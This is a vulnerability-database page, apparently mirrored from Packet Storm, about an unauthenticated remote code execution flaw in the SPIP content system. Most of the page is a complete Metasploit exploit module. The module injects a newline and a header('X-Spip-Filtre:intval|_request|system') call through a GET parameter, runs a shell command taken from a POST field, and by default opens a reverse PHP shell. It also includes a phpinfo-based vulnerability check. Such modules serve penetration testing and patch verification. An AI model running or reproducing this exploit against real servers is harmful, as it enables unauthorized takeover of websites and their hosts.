Lucene search
+L

SPIP X-Spip-Filtre Unauthenticated Remote Code Execution

🗓️ 24 Aug 2026 00:00:00Reported by Julien VoisinType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 10 Views

Unauthenticated RCE in SPIP via X-Spip-Filtre header injection enabling command execution.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-77647
21 Aug 202600:00
circl
cve
CVE
CVE-2026-77647
20 Aug 202622:24
cve
cvelist
Cvelist
CVE-2026-77647
20 Aug 202622:24
cvelist
debiancve
Debian CVE
CVE-2026-77647
20 Aug 202622:24
debiancve
euvd
EUVD
EUVD-2026-63757
21 Aug 202600:31
euvd
metasploit
Metasploit
SPIP X-Spip-Filtre Unauthenticated RCE
20 Aug 202600:00
metasploit
nvd
NVD
CVE-2026-77647
20 Aug 202623:16
nvd
osv
OSV
DEBIAN-CVE-2026-77647
20 Aug 202623:16
osv
ptsecurity
Positive Technologies
PT-2026-79268
20 Aug 202600:00
ptsecurity
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2026-77647
21 Aug 202600:00
nessus
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HTTP::Spip
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'SPIP X-Spip-Filtre Unauthenticated RCE',
            'Description' => %q{
              This module exploits a PHP function-call injection in SPIP's
              template engine. The analyse_resultat_skel() function extracts
              <?php header("X-Spip-Filtre: ..."); ?> patterns from the rendered
              page body and calls the listed functions as template filters.
    
              A newline character is injected into a GET parameter value, which
              places a header() call on its own line inside the compiled PHP
              template. The filter chain intval|_request|system reads a shell
              command from a POST parameter and executes it.
            },
            'Author' => [
              'Julien Voisin' # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-4-21.html'],
              ['CVE', '2026-77647']
            ],
            'Targets' => [
              [
                'Automatic',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :unix_cmd
                }
              ]
            ],
            'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_php_ssl' },
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-08-20',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        rversion = spip_version || spip_plugin_version('spip')
        return CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
    
        print_status("SPIP Version detected: #{rversion}")
    
        injection = "\nheader(\"X-Spip-Filtre: intval|phpinfo\");\n"
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'spip.php'),
          'vars_get' => { Rex::Text.rand_text_alpha(6) => injection }
        )
        return CheckCode::Unknown('Target did not respond') unless res
    
        phpinfo_markers = ['PHP Version', 'PHP Extension', 'phpinfo()']
        matches = phpinfo_markers.count { |m| res.body&.include?(m) }
    
        unless matches >= 2
          return CheckCode::Safe('Filter execution was not observed')
        end
    
        if res.body =~ /disable_functions.*?<td[^>]*>([^<]+)/mi
          disabled = ::Regexp.last_match(1).strip
          print_warning("disable_functions: #{disabled}") unless disabled.empty?
        end
    
        CheckCode::Vulnerable('X-Spip-Filtre invoked phpinfo() on the rendered page')
      end
    
      def exploit
        injection = "\nheader(\"X-Spip-Filtre:intval|_request|system\");\n"
    
        print_status('Sending exploit via newline injection (intval|_request|system)...')
        send_request_cgi(
          {
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'spip.php'),
            'vars_get' => { Rex::Text.rand_text_alpha(4) => injection },
            'vars_post' => { '0' => payload.encoded }
          }
        )
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Aug 2026 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 3.19.8
EPSS0.00816
SSVC
10